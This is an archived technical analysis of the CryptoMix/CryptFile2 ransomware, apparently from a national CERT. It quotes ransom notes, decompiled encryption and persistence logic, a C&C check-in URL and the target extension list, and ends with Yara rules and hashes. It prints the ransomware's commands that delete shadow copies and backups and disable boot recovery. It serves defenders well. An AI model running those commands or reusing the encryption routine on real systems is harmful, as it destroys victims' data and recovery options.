Technical analysis of CryptoMix/CryptFile2 ransomware

Archived: 2026-04-05 12:48:12 UTC

Campaign

CryptoMix is another ransomware family that is trying to earn money by encrypting victims files and coercing them into paying the ransom.
Until recently it was more known as CryptFile2, but for reasons unknown to us it was rebranded and now it’s called CryptoMix.
It was observed in the wild being served by the Rig-V exploit kit.

This malware stands out from among others, but not necessarily in a good way.

Price

First unusual thing about this family is very large amount of money requested – 5 bitcoins is an insane amount of money (especially considering that CryptoMix is really primitive under the hood, but we’ll get to it). We don’t know how many victims have paid, but probably few were desperate enough.

Additionally we have stumbled upon following comment discouraging anyone from paying the ransom:

> DO NOT PAY FOR THIS!!!
> we were infected and they asked for 10 bitcoins, after some negotiations the price was lowered to 6 bitcoins. they provided 1 decrypted file to prove concept. we paid 6 bitcoins and they asked for another .6 as the c&c server will not provide the key due to late payment. after promptly paying another .6 bitcoins (about $4800 in total) there has been no communication from them! its been 2 weeks and nothing.
> WHATEVER YOU DO, DO NOT TRUST THEM, THEY WILL NOT DECRYPT YOUR FILES!!!!

We can't verify if this is true, but it sounds plausible – if someone is desperate enough to pay 6 bitcoins for his files, he probably can be coerced into paying even more. As usual, we discourage anyone from supporting the criminals by paying the ransom.

Payment portal

Additionally CryptoMix doesn't have any payment portal in the Tor network. Or any payment portal, for that matter – victim have to write an email and literally wait some time before malware operators kindly send the decryption keys
(assuming that they will do it, instead of bargaining for even more money).

For example, ransom message can look like this (most recent variant):

	---CryptoMix---
	NOT YOUR LANGUAGE? USE https://translate.google.com
	What happened to your files ?
	All of your files protected by a strong encryption with RSA-2048.
	More information about the encryption keys using RSA-2048 can be found here: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
	How did this happen ?
	!!! Specially for your PC was generated personal RSA-2048 KEY, both public and private.
	!!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
	!!! Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server
	What do I do ?

	So, there are two ways you can choose: wait for a miracle and get your price doubled, or start send email now for more specific instructions! , and restore your data easy way.
	If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment.
	For more specific instructions:
	Contact us by email only, send us an email along with your ID number and wait for further instructions. Our specialist will contact you within 24 hours.
	For you to be sure, that we can decrypt your files - you can send us a single encrypted file and we will send you back it in a decrypted form. This will be your guarantee.
	Please do not waste your time! You have 72 hours only! After that The Main Server will double your price!
	So right now You have a chance to buy your individual private SoftWare with a low price!
	E-MAIL1: enc10@dr.com
	E-MAIL2: enc10@usa.com

Or like this (older variant):

	NOT YOUR LANGUAGE? USE https://translate.google.com
	What happened to your files ?
	All of your files were protected by a strong encryption with RSA-2048.
	More information about the encryption keys using RSA-2048 can be found here: http://en.wikipedia.org/wiki/RSA_(cryptosystem)
	How did this happen ?
	!!! Specially for your PC was generated personal RSA-2048 KEY, both public and private.
	!!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
	!!! Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server
	What do I do ?

	So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BITCOIN NOW! , and restore your data easy way.
	If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment.
	For more specific instructions:
	Contact us by email only, send us an email along with your ID number and wait for further instructions. Our specialist will contact you within 12 hours.
	For you to be sure, that we can decrypt your files - you can send us a single encrypted file and we will send you back it in a decrypted form. This will be your guarantee.
	E-MAIL1: xoomx@dr.com
	E-MAIL2: xoomx@usa.com

We don’t think that this strategy was well thought out. First of all, using emails for communication with victims is bothersome and need constant attention.
Automated portal would be much more reliable and secure for both sides. Additionally, emails are prone to being deleted/locked, effectively cutting malware authors from their “clients”.

Charity

Content of exchanged emails is very unusual too. Actors claim to be a charity organization (!) that is going to sponsor presents and medical help for children. For example:

	Dear User,
	to decrypt your files You will need a special software with your special unique private key.
	Price of software and your private key is 5 bitcoins. With this product you can decrypt all your files and protect Your system!!! Protect!!! Your system will be without any vulnerability.
	Also You will have a FREE tech support for solving any PC troubles for 3 years!
	You can buy bitcoins through this bitcoin web site https://localbitcoins.com/
	Register there and find a nearest Bitcoin seller. It`s easy! Choose more comfortable payment method for buying Bitcoin!

	After that You should send 5 bitcoins to the bitcoin wallet address:
	[cut]
	All this process is very easy! It`s like a simple money transfer.
	And now most important information:
	Your money will be spent for the children charity. So that is mean that You will get a participation in this process too. Many children will receive presents and medical help!
	And We trust that you are kind and honest person! Thank You very much! We wish You all the best! Your name will be in the main donors list and will stay in the charity history!
	P.S> When your payment will be delivered you will receive your software with private key IMMEDIATELY!
	P.P.S> In the next 24 hours your price will be doubled by the Main Server automatically. So now you have a chance to restore your PC with low price!
	Best regards,
	Charity Team

That’s really original, but unfortunately also obviously false.

Leaving aside strange quirks of ransomware “interface”, let’s get more technical. In its heart, CryptoMix is just a bare bones encryptor – it doesn’t have any fancy features, it doesn’t have a web portal, it doesn’t change user wallpaper, the only thing it does is encrypting every file on the victim’s disk and on the mounted network drives.

CryptoMix is protected by a very primitive packer – the real binary is stored in resources, and xored with a hardcoded key. For some reason, Cuckoo has problems with automatic unpacking of cryptomixer, so we had to write our own unpacker. Using pefile and Yara is very easy:

```
def try_decrypt_with(m, xorkey):
for res in m.pe.DIRECTORY_ENTRY_RESOURCE.entries:
if res.name is not None or True:
res0 = res.directory.entries[0].directory.entries[0].data.struct
```

```
    d = m.read(res0.OffsetToData, res0.Size)
    decrypted = xor(d, xorkey)
    if decrypted[:2] != "MZ":
    continue
    if decrypted[:16] != '4d5a90000300000004000000ffff0000'.decode('hex'):
    print "invalid decryption key/length", len(xorkey)
    continue
    return decrypted

    def process_yara_hit(m, hit, *args):
    xoraddr = m.dword(hit+2)
    xorkey = m.read(xoraddr, 13)

    return try_decrypt_with(m, xorkey)
```

After decryption ransomware checks whether it's being debugged – but no antiVM techniques are employed, so everything works as it should under VirtualBox.

Before file encryption starts, the ransomware checks internet connectivity (using InternetOpenUrl function). If everything is ok, an encryption key is generated on victim's PC and sent to the C&C server.
Otherwise, depending on malware version, either a hardcoded encryption key is used or malware is spinning in an infinite loop until the internet connection is restored.

The main function can be expressed as follows:

```
    if ( !encryptionDone() ) // don't run on already encrypted system
    {
    if ( !cryptomixInitialized() ) // don't run if already encrypting
    {
    initialize1(); // create registry keys, mutexes
    initialize2(); // etc
    }
```

```
// check internet connectivity (url is different for each version)
internetIsOk = internetOpenUrlA("http://217.23.7.105/ms_chek_os/ms_statistic_os_key.php?info=SCmvxag30Y35DIy7JTzxsJSTLJzUe67VbrPhiiCr4iIe") == 1;
if ( !getExistingRsaKey() ) // check if key was already selected
{
if ( internetIsOk == 1 )
generateRsaKeyToRegistry(); // online mode - generate RSA key
else
saveKeyToRegistry((int)&staticRsaKey, 268); // offline mode - use hardcoded key
if ( internetIsOk == 1 )
logEncryptionStatus(1); // upload generated key and OS info to C&C server
}
keyData = globalAlloc(64, 268);
getKeyFromRegistry(&keyData);
if ( keyData[0] || keyData[1]) )
saveKeyToRegistry(keyData, 268);
else
keyData = (int)&staticRsaKey;
GetWindowsDirectoryW(&windowsDir, 260);
for (int i = 0; i < 26; i++)
{
drive = (char)('A' + i);
wsprintf(&v36, L"%c:", drive);
driveType = getDriveType(&v36);
if ( driveType == DRIVE_REMOVEABLE || driveType == DRIVE_FIXED || driveType == DRIVE_REMOTE )
{
```

```
if ( strstrw(&windowsDir, &v36) ) // check windows directory
{
recursiveEncryptDrive(&v36, &off_2D406C, keyData, 8);
}
else
{
recursiveEncryptDrive(&v36, &off_2D406C, keyData, 3);
sub_2D3BD3(&v36);
}
}
}
if ( internetIsOk == 1 )
logEncryptionStatus(0);
setRegStatus("LesliDone"); // save status to registry
}
```

After encryption key is generated/selected, it is stored in windows registry. Registry key used for malware specific data varies depending on version, but for example SoftWare\Microsoft\Windows\Shell\Nodes Slots, SoftWare\Microsoft\Windows\Shell\FlashPlayerPluginK or Software\Adobe Reader LicensionSoftWare\AdobeLicensionSoftWare can be used (malware probably tries to hide its presence by impersonating another software).

The list of supported extensions constains more than 1250 entries:

```
.3g2 .3gp .7z .ab4 .ach .adb .ads .ait .al .apj .asf .asm .asp .asx .back .bank
.bgt .bik .bkf .bkp .bpw .c .cdf .cdr .cdx .ce1 .ce2 .odf .odg .odp .ods .oil
.one .oth .otp .ots .p12 .p7b .p7c .pas .pat .pbo .pcd .pct .pem .php .pip .pl
.plc .pot .potm .potx .ppam .pps .ppsm .ppsx .prf .psafe3 .pspimage .pub .puz
.py .qba .qbw .r3d .raf .rar .rat .raw .rm .rwz .sas7bdat .say .sd0 .sda .snp
.srf .srt .st4 .st5 .st6 .st7 .st8 .stc .std .sti .stx .sxc .sxi .sxm .vob .vsx
```

	.vtx .wav .wb2 .wll .wmv .wpd .x11 .xla .xlam .xlb .xlc .xll .xlm .xlr .xlsb
	.xlt .xltm .xltx .m4a .wma .d3dbsp .xlw .xpp .xsn .yuv .zip .sie .unrec .scan
	.sum .t13 .t12 .qdf .tax .pkpass .bc6 .bc7 .sidn .sidd .mddata .itl .icxs .hvpl
	.hplg .hkdb .mdbackup .syncdb .gho .cas .wmo .itm .sb .fos .mov .vdf .ztmp .sis
	.sid .ncf .menu .layout .dmp .blob .esm .vcf .vtf .dazip .fpk .mlx .kf .iwd
	.vpk .tor .psk .rim .w3x .fsh .ntl .arch00 .lvl .snx .cfr .ff .vpp_pc .lrf .m2
	.mcmeta .vfs0 .mpqge .db0 .dba .rofl .hkx .bar .upk .das .litemod .asset .forge
	.bsa .apk .re4 .lbf .slm .epk .rgss3a .pak .big .wallet .wotreplay .xxx .desc
	.m3u .js .rb .1cd .dbf .dt .cf .cfu .mxl .epf .kdbx .vrp .grs .geo .st .pff
	.mft .efd .3dm .3ds .rib .ma .sldasm .sldprt .max .blend .lwo .lws .m3d .mb
	.obj .x .x3d .movie .byu .c4d .fbx .dgn .dwg .4db .4dl .4mp .abs .accdb .accdc
	.accde .accdr .accdt .accdw .accft .adn .a3d .adp .aft .ahd .alf .ask .awdb
	.azz .bdb .bnd .bok .thumb .tjp .tm2 .tn .tpi .ufo .uga .usertile-ms .vda .vff
	.vpe .vst .wb1 .wbc .wbd .wbm .wbmp .wbz .wdp .webp .wpb .wpe .wvl .x3f .y .ysp
	.zif .cdr4 .cdr6 .cdrw .jpeg .djvu .pdf .ddoc .css .pptm .raw .cpt .jpg .jpe
	.jp2 .pcx .pdn .png .psd .tga .tiff .tif .hdp .xpm .ai .ps .wmf .emf .ani .apng
	.flc .fb2 .fb3 .fli .mng .smil .svg .mobi .swf .html .xls .xlsx .xlsm .xhtm
	.mrwref .xf .pst .bd .tar .gz .mkv .xml .xmlx .dat .mcl .mte .cfg .mp3 .btr
	.bak .backup .cdb .ckp .clkw .cma .daconnections .dacpac .dad .dadiagrams .daf
	.daschema .db .db-shm .db-wal .db2 .db3 .dbc .dbk .dbs .dbt .dbv .dbx .dcb .dct
	.dcx .ddl .df1 .dmo .dnc .dp1 .dqy .dsk .dsn .dta .dtsx .dxl .eco .ecx .edb
	.emd .eql .fcd .fdb .fic .fid .fm5 .fmp .fmp12 .fmpsl .fol .fp3 .fp4 .fp5 .fp7
	.fpt .fzb .fzv .gdb .gwi .hdb .his .ib .idc .ihx .itdb .itw .jtx .kdb .lgc .maq
	.mdb .mdbhtml .mdf .mdn .mdt .mrg .mud .mwb .s3m .myd .ndf .ns2 .ns3 .ns4 .nsf
	.nv2 .nyf .oce .odb .oqy .ora .orx .owc .owg .oyx .p96 .p97 .pan .pdb .pdm .phm
	.pnz .pth .pwa .qpx .qry .qvd .rctd .rdb .rpd .cer .cfp .class .cls .cmt .cpi
	.cpp .craw .crt .crw .cs .csh .csl .csv .dac .dbr .ddd .der .des .dgc .dng .drf

	.k2p .dtd .dxg .ebd .eml .exf .ffd .fff .fh .fhd .fla .flac .flv .fm .gray
	.grey .grw .gry .h .hpp .ibd .iif .indd .java .key .laccdb .lua .m .m4v .maf
	.mam .mar .maw .mdc .mde .mfw .mmw .mp4 .mpg .mpp .mrw .mso .ndd .nef .nk2 .nsd
	.nsg .nsh .nwb .nx1 .nx2 .odc .rsd .sbf .sdb .sdf .spq .sqb .stp .sql .sqlite
	.sqlite3 .sqlitedb .str .tcx .tdt .te .teacher .trm .udb .usr .v12 .vdb .vpd
	.wdb .wmdb .xdb .xld .xlgc .zdb .zdc .cdr3 .ppt .pptx .1st .abw .act .aim .ans
	.apt .asc .ascii .ase .aty .awp .awt .aww .bad .bbs .bdp .bdr .bean .bib .bna
	.boc .btd .bzabw .chart .chord .cnm .crd .crwl .cyi .dca .dgs .diz .dne .doc
	.docm .docx .docxml .docz .dot .dotm .dotx .dsv .dvi .dx .eio .eit .email .emlx
	.epp .err .etf .etx .euc .fadein .faq .fbl .fcf .fdf .fdr .fds .fdt .fdx .fdxt
	.fes .fft .flr .fodt .fountain .gtp .frt .fwdn .fxc .gdoc .gio .gpn .gthr .gv
	.hbk .hht .hs .htc .hwp .hz .idx .iil .ipf .jarvis .jis .joe .jp1 .jrtf .kes
	.klg .knt .kon .kwd .latex .lbt .lis .lit .lnt .lp2 .lrc .lst .ltr .ltx .lue
	.luf .lwp .lxfml .lyt .lyx .man .map .mbox .md5txt .me .mell .min .mnt .msg
	.mwp .nfo .njx .notes .now .nwctxt .nzb .ocr .odm .odo .odt .ofl .oft .openbsd
	.ort .ott .p7s .pages .pfs .pfx .pjt .plantuml .prt .psw .pu .pvj .pvm .pwi
	.pwr .qdl .rad .readme .rft .ris .rng .rpt .rst .rt .rtd .rtf .rtx .run .rzk
	.rzn .saf .safetext .sam .scc .scm .scriv .scrivx .scw .sdm .sdoc .sdw .sgm
	.sig .skcard .sla .slagz .sls .smf .sms .ssa .strings .stw .sty .sub .sxg .sxw
	.tab .tdf .text .thp .tlb .tm .tmd .tmv .tmx .tpc .trelby .tvj .txt .u3d .u3i
	.unauth .unx .uof .uot .upd .utf8 .unity .utxt .vct .vnt .vw .wbk .wcf .webdoc
	.wgz .wn .wp .wp4 .wp5 .wp6 .wp7 .wpa .wpl .wps .wpt .wpw .wri .wsc .dxf .egc
	.ep .eps .epsf .fh10 .fh11 .fh3 .fh4 .fh5 .fh6 .fh7 .fh8 .fif .fig .fmv .ft10
	.ft11 .ft7 .ft8 .ft9 .ftn .fxg .gdraw .gem .glox .gsd .hpg .hpgl .hpl .idea
	.igt .igx .imd .ink .lmk .mgcb .mgmf .mgmt .mt9 .mgmx .mgtx .mmat .mat .otg
	.ovp .ovr .pcs .pfd .pfv .pl .plt .vrml .pobj .psid .rdl .scv .sk1 .sk2 .slddrt
	.snagitstamps .snagstyles .ssk .stn .svf .svgz .sxd .tlc .tne .ufr .vbr .vec

	.vml .vsd .vsdm .vsdx .vstm .stm .vstx .wpg .vsm .vault .xar .xmind .xmmap .yal
	.orf .ota .oti .ozb .ozj .ozt .pal .pano .pap .pbm .pc1 .pc2 .pc3 .pcd .pdd
	.pe4 .pef .pfi .pgf .pgm .pi1 .pi2 .pi3 .pic .pict .pix .pjpeg .pjpg .pm .pmg
	.pni .pnm .pntg .pop .pp4 .pp5 .ppm .prw .psdx .pse .psp .pspbrush .ptg .ptx
	.pvr .px .pxr .pz3 .pza .pzp .pzs .z3d .qmg .ras .rcu .rgb .rgf .ric .riff .rix
	.rle .rli .rpf .rri .rs .rsb .rsr .rw2 .rwl .s2mv .sai .sci .sct .sep .sfc
	.sfera .sfw .skm .sld .sob .spa .spe .sph .spj .spp .sr2 .srw .ste .sumo .sva
	.save .ssfn .t2b .tb0 .tbn .tex .tfc .tg4 .thm .qbi .qbr .cnt .v30 .qbo .lgb
	.qwc .qbp .aif .qby .1pa .qpd .set .nd .rtp .qbwin .log .qbbackup .tmp
	.temp1234 .qbt .qbsdk .syncmanagerlogger .ecml .qsm .qss .qst .fx0 .fx1 .mx0
	.fpx .fxr .fim .better_call_saul .breaking bad .heisenberg .ytbl .wsd .wsh .wtx
	.xbdoc .xbplate .xdl .xlf .xps .xwp .xy3 .xyp .xyw .ybk .yml .zabw .zw .2bp .0
	.36 .3fr .411 .73i .8xi .9png .abm .afx .agif .agp .aic .albm .apd .apm .aps
	.apx .artwork .arw .asw .avatar .bay .blkrt .bm2 .bmp .bmx .bmz .brk .brn .brt
	.bss .bti .c4 .cal .cals .can .cd5 .cdc .cdg .cimg .cin .cit .colz .cpc .cpd
	.cpg .cps .cpx .cr2 .ct .dc2 .dcr .dds .dgt .dib .djv .dm3 .dmi .vue .dpx .wire
	.drz .dt2 .dtw .dvl .ecw .eip .erf .exr .fal .fax .fil .fpos .g3 .gcdp .gfb
	.gfie .ggr .gif .gih .gim .gmbck .gmspr .spr .scad .gpd .gro .grob .hdr .hpi
	.i3d .icn .icpr .iiq .info .int .ipx .itc2 .iwi .j .j2c .j2k .jas .jb2 .jbig
	.jbig2 .jbmp .jbr .jfif .jia .jng .jpg2 .jps .jpx .jtf .jwl .jxr .kdc .kdi .kdk
	.kic .kpg .lbm .ljp .mac .mbm .mef .mnr .mos .mpf .mpo .mrxs .myl .ncr .nct
	.nlm .nrw .oc3 .oc4 .oc5 .oci .omf .oplc .af2 .af3 .ai .art .asy .cdmm .cdmt
	.cdmtz .cdmz .cdt .cgm .cmx .cnv .csy .cv5 .cvg .cvi .cvs .cvx .cwt .cxf .dcs
	.ded .design .dhs .dpp .drw .dxb .locky .micro .zepto .cerber3 .cerber .axx
	.ecc .crypt .ezz .r5a .ccc .exx .crypz .cerber2 .cerber4 .cerber5 .odin
	.cryptowall .enciphered .cryptolocker .cryp1 .locked .crypted .lol! .encrypted
	.xxx .lechiffre .aesir .rrk .enigma .zzzzz .coverton .encrypt .good .wflx .ttt

	.zcrypt .aaa .access_denied .dharma .xtbl .crysis .vvv

That’s quite a lot of extensions, but nothing special (for comparsion: CryptXXX supports 933 extensions, CrypMIC 901). Most unusual thing here is inclusion of another ransomware extensions (for example .zepto, .locky, .crypt, .locked, .cryptolocker, .cryptowall, etc).

Encryption

Let’s get back to ransom message for a while:

	How did this happen ?
	!!! Specially for your PC was generated personal RSA-2048 KEY, both public and private.
	!!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
	!!! Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server

Malware claims that our files are “encrypted with 2048bit RSA KEY”. Well, it’s not entirely true. Yes, 2048bit RSA key is generated with windows Crypto API – but after RSA key is selected, it is hashed with SHA256 to create a real encryption key and every file on disk is encrypted with that key. Encryption algorithm used is AES 256 in CBC mode without initialization vector.

Encryption routine can be summarized with this (simplified) code:

	realEncrypt(void *rsaKey, _DWORD *sourceData, int dataSize, _DWORD *resultPointer)
	hHash = 0;
	if (CryptAcquireContextW(&hProvider, 0, 0, 24, 0xF0000000))
	{
	if (CryptCreateHash(hProvider, 32780, 0, 0, &hHash))
	{
	if (CryptHashData(hHash, rsaKey, 0x10Cu, 0) && CryptDeriveKey(hProvider, CALG_AES_256, hHash, 1, &hKey))
	{
	if (CryptEncrypt(hKey, 0, 1, 0, 0, &dataSize, dataSize))
	{

```
result = GlobalAlloc(0x40u, dataSize);
if ( result )
{
rtlMoveMemory(result, *sourceData, dataSize);
CryptEncrypt(result, 0, 1, 0, result, &dataSize, dataSize)
}
}
}
}
}
```

This function is called for every file, so hashing rsaKey and deriving AES key every time doesn't make much sense. But there is bigger problem with it – there is no need for such things as "public" and "private" keys, because this encryption routine is entirely symmetric – RSA serves here just as (unnecesarily slow) random number generator.

So yes, in a way RSA is "used for encryption", but files are not encrypted with RSA and encryption is entirely symmetric.

UserID given by CryptoMix is not random – it is generated from username and serial number for first disk.

```
unsigned int getUpperUserIDDword()
{
if ( getVolumeInfo("C:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
if ( getVolumeInfo("D:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
if ( getVolumeInfo("E:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
if ( getVolumeInfo("F:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
```

```
if ( getVolumeInfo("G:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
if ( getVolumeInfo("H:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
if ( getVolumeInfo("Z:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
if ( getVolumeInfo("X:\\", 0, 0, &result, 0, 0, 0, 0) <= 0 )
{
getVolumeInfo("Y:\\", 0, 0, &result, 0, 0, 0, 0);
}
}
}
}
}
}
}
return result;
}

int getLowerUserIDDword()
{
v6 = 261;
if ( getUserName(&v4, &v6) )
{
lowKeySource = &v4;
}
```

```
else
{
v7 = 16;
if ( !getComputerName(&v5, &v7) )
return getLowKey();
lowKeySource = &v5;
}
return trivialHashFunction(lowKeySource);
}
```

This doesn’t seem like a good idea, because UserIDs absolutely have to be unique, and neither username nor volume serial number is designed to be unique – so userID collisions are possible and very plausible (after taking low entropy of userID and birthday paradox into account).
Why is this a problem? Because when UserID collision happens, malware creators have no way of distinguishing two users apart – so they don’t know which encryption key belongs to which user, and can’t send the right one. It’s also possible that in case of collision old key will be overwritten in database and lost.

Finally, CryptoMix achieves persistence by copying itself to user documents and writing to HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Run registry key.

As a final measure, all shadow copies are removed (if user doesn’t have admin account, UAC window is shown before):

```
ShellExecuteW(0, 0, L"cmd", L"/C \tvssadmin.exe Delete Shadows /All /Quiet", 0, 0);
ShellExecuteW1(v5, 0, 0, L"cmd", L"/C \twmic shadowcopy delete", 0, 0);
RtlZeroMemory(&v20, 3);
RtlZeroMemory1(&v21, 10);
for (int i = 0; i < 26; i++)
{
wsprintf(&v22, L"/C vssadmin Delete Shadows /For=%c: /All /Quiet ", 90 - i);
ShellExecuteW2(0, 0, L"cmd", &v22, 0, 0);
}
```

```
ShellExecuteW3(v11, 0, 0, L"cmd", L"/C net stop vss", 0, 0);
ShellExecuteW4(v13, 0, 0, L"cmd", L"/C bcdedit /set {default} recoveryenabled No", 0, 0);
ShellExecuteW5(v15, 0, 0, L"cmd", L"/C bcdedit /set {default} bootstatuspolicy ignoreallfailures", 0, 0);
return ShellExecuteW6(v17, 0, 0, L"cmd", L"/C wbadmin delete catalog -quiet", 0, 0);
```

Cryptomix Decryptor

Due to a cryptographic flaw in encryption, we are able to decrypt CryptoMix (and CryptFile2), **but** only sometimes and only if files were encrypted with a vulnerable version.
If your files were encrypted by CryptoMix and you don't want to pay a ransom, you can contact us at cert@cert.pl and we'll see what we can do.
Please attach a single encrypted file without changing it's filename after encryption (for example warnings.h.email[supl0@post.com]id[7e5973f5e0ce337d].lesli).

Hashes/patterns

Cryptomix packer (old and new):

```
rule cryptomix_packer
{
meta:
author = "msm"

strings:
$old_real_main = {8B [5] 8B [5] 03 ?? 89 ?? FC FF 55 FC}
$old_crypto_ops = {83 ?? 1F 83 ?? 60}
$old_crypto_xor = {8A 90 [4] 30 14 0E} // extract xor key from this

$new_crypto_ops = {03 85 [4] 88 10 EB ??}
$new_crypto_xor = {A1 [4] 89 45 ??} // extract xor key from this

condition:
2 of them
}
```

Cryptomix payload (after unpacking):

```
rule cryptomix_payload
{
meta:
author = "msm"

strings:
$get_static_rsa = { 56 68 [4] E8 [4] 59 59 }
$get_final_message = { B9 ?? ?? 00 00 BE [4] 8D BD [4] [0-10] F3 A5}
$get_email_format = { FF 75 ?? 68 [4] 50 FF 55 [1] }
$get_rsa_reg_key = { 6A 00 68 [4] 68 01 00 00 80 FF D0 68 [4] }
$get_extension = { 68 3C 72 40 00 8D 4C ?? ?? 51 FF D0 }
$get_extensions_to_encrypt = { FF 74 24 [1] 68 [4] E8 [4] }
$get_extensions_to_encrypt_new = { 68 [4] BE [4] 56 FF D0 85 C0 }
$get_cnc_url = { 68 [4] E8 [4] 48 F7 D8 1B C0 40 }

condition:
3 of ($get_*)
}
```

hashes:

c2f30cd537c79b6bcd292e6824ea874e sample0

befc0e43b38fe467ddc3ddd73150a9fc sample0 decrypted

8c413e31f39a54abf78c3585444051f7 sample1

0d1206246bf15c521474cee42f13fc09 sample1 decrypted

b778bda5b97228c6e362c9c4ae004a19 sample2

042a38a32cd20e3e190bb15b085b430a sample2 decrypted